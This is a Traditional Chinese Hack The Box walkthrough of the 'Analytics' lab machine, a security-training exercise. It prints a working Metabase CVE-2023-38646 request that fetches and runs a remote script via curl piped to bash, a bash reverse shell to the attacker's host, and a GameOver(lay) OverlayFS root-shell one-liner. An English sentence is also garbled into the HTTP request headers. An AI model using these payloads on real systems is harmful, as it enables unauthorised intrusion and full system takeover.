跳轉到

HTB - Analytics

概要

Analytics 是一台難度較低的 Linux 機器,它暴露了 HTTP 和 SSH 服務。對網站的枚舉發現了一個 Metabase 實例,該實例容易受到預身份驗證遠程代碼執行漏洞(CVE-2023-38646)的攻擊。攻擊者可以利用這個漏洞在 Docker 容器內站穩腳跟。在枚舉 Docker 容器時,我們發現其中設定的環境變量包含了可用於通過 SSH 登入主機的憑證。後滲透枚舉顯示,主機上運行的內核版本容易受到 GameOverlay 漏洞的攻擊,可以利用該漏洞獲取 root 權限。

所需技能

  • 網站枚舉
  • Linux 基礎知識

學到的技能

  • Metabase 枚舉
  • 用於遠程代碼執行的命令注入
  • 內核漏洞利用

資訊收集

Nmap

取得所有TCP開放PORT
ports=$(nmap -p- --min-rate=1000 -T4 10.129.229.224 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
抓取開放PORT的服務版本類型
nmap -p$ports -sC -sV 10.129.229.224
Nmap 掃描發現兩個開放的埠口。埠口 22 上運行著 SSH 服務,埠口 80 上運行著 Nginx 網頁伺服器。由於我們沒有任何憑據可以通過 SSH 登入,因此我們將從查看埠口 80 開始。

HTTP

瀏覽埠口 80 時,我們注意到我們被重定向到 analytical.htb。我們將該網域名稱新增到我們的 /etc/hosts/ 檔案中以解析它:

將域名添加至/etc/hosts
echo "10.129.229.224 analytical.htb" | sudo tee -a /etc/hosts
網頁伺服器託管著一家研究和數據分析公司的網站。 在頁面的頂部有一個登入欄位,點擊後會將我們重新導向到 data.analytical.htb 。為了訪問這個頁面,我們也需要把這個子網域添加到 /etc/hosts 檔案中。
將域名添加至/etc/hosts
echo "10.129.229.224 data.analytical.htb" | sudo tee -a /etc/hosts
我們發現伺服器上運行了 MetabaseMetabase 是一款開源工具,提供強大的數據建模、視覺化與查詢功能。它可以讓使用者輕鬆地建立與分享互動式儀表板、執行即席查詢,並分析來自不同來源的數據。

站穩腳跟

由於我們沒有登入 Metabase 實例的憑據,因此我們嘗試查看版本號,看看是否能找到任何漏洞。

查看版本號
curl http://data.analytical.htb/ | grep version
我們發現運行的 Metabase 版本是 v0.46.6。根據這個部落格文章指出,該版本容易受到預驗證遠程代碼執行漏洞 CVE-2023-38646的攻擊。這個漏洞之所以存在,是因為使用者可以存取一個名為 setup-token 的特殊令牌,其用於完成設定過程。即使設定完成後,令牌也仍然保持活動狀態,並可能被未經授權的使用者存取。 攻擊者可以利用這一點,通過向 /api/setup/validate 端點發送自訂化的 POST 請求來潛在地實現代碼執行。

我們可以在/api/session/properties 端點存取並搜尋 setup-token 來找到此令牌。 有了設定令牌,我們就可以向 /api/setup/validate 端點發送 POST 請求,從而實現遠端程式碼執行。

注意

Metasploit 已經釋出了自動化這個漏洞攻擊的模組,不過我們將會手動示範整個流程。若要使用 Metasploit 模組,請啟動 msfconsole 並透過以下指令載入:use exploit/linux/http/metabase_setup_token_rce

首先,我們將反向 shell 載荷儲存在檔案中,以便在本地 Web 伺服器上託管

把指令保存至rev.sh
echo -e '#!/bin/bash\nsh -i >& /dev/tcp/10.10.14.70/4444 0>&1' > rev.sh
上述這段一行程式碼會在我們目前的工作資料夾中建立一個名為 rev.shBash 指令碼。我們會利用這個指令碼與漏洞,來初始化與 Netcat 監聽器之間的反向 shell 連線。 既然我們的 Bash 反向 Shell 指令碼已經就緒,那麼就在存放該指令碼的相同目錄下,啟動一個監聽 8081 埠的 Python Web 伺服器吧。
啟動Python Web 伺服器
python3 -m http.server 8081
我們將使用以下命令啟動一個 Netcat 監聽器,一旦我們的腳本執行完畢,我們將使用該監聽器與我們的反向 shell 連線進行互動。
啟動反向shell
nc -lnvp 4444
最後,我們會參考前面提到的部落格文章,建立一個 POST 請求,從本地伺服器取得反向 shell 並執行它。我們將利用 Burp Suite 中的 Repeater 功能來達成這個目標。

說明

本篇文章不包含 Burp Suite 的使用說明,但有興趣的讀者可以參考 Academy 模組「使用 Web 代理」

請求內容如下
POST /api/setup/validate HTTP/1.1
Host: data.analytical.htb
Content-Type: application/jsonSending the request triggers a callback to our webserver, which subsequently sends a connection
back to our Netcat listener.
Content-Length: 566
{
    "token": "249fa03d-fd94-4d5b-b94f-b4ebf3df681f",
    "details":
    {
        "is_on_demand": false,
        "is_full_sync": false,
        "is_sample": false,
        "cache_ttl": null,
        "refingerprint": false,
        "auto_run_queries": true,
        "schedules":
        {},
        "details":
        {
            "db": "zip:/app/metabase.jar!/sampledatabase.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS
            $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {curl,10.10.14.70:8081/rev.sh}|bash')\n$$--=x",
            "advanced-options": false,
            "ssl": true
        },
        "name": "an-sec-research-team",
        "engine": "h2"
    }
}
送出請求後,會觸發我們的 Web 伺服器發出回呼,然後會將連線傳送回我們的 Netcat 監聽器。 我們已經以 metabase 使用者的身份取得了 shell。

橫向移動

很快就會發現我們在一個 Docker 容器中,因為主機名和 / 中存在一個 .dockerenv 文件。 執行 printenv 命令會顯示任何已設定的環境變數。

printenv
以metalytics身分登入到SSH內
ssh metalytics@analytical.htb
我們的嘗試成功了,因為我們已經在主機上驗證了 metalytics 用戶。用戶標誌可以在 /home/metalytics/user.txt 中找到。

權限升級

列舉核心版本,我們看到目標使用的是 6.2.0-25。

列出Linux作業系統核心版本
uname -a
此外,我們還注意到該box使用 jammy 發行版。
列出release資訊
lsb_release -a

Google搜尋發現,在Ubuntu的OverlayFS模塊中存在一個被稱為GameOver(lay) 的漏洞,並已被指派CVE-2023-2640CVE-2023-32629兩項漏洞編號。我們目前使用的Ubuntu 22.04 LTS (Jammy Jellyfish) 版本6.2.0 被列為受影響的版本之一。

OverlayFS 作為一種聯合檔案系統,允許檔案系統的層層堆疊,使修改檔案的操作不必影響到底層的檔案系統。這項功能在Docker容器的應用上非常實用,可以在維持基礎映像不變的情況下,將修改內容獨立置於另一個圖層。然而,OverlayFS的彈性也引入了一些潛在的安全風險,使用者可能會利用覆蓋的方式來繞過特定檔案系統的限制 (例如nodev或nosuid等掛載選項)。為此,目前也已經有一些概念驗證(PoC)腳本被發布,其中以下這個一行命令就能夠讓我們取得root權限的shell:

提權root指令
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'

根目錄旗標可以在 /root/root.txt 檔案中找到。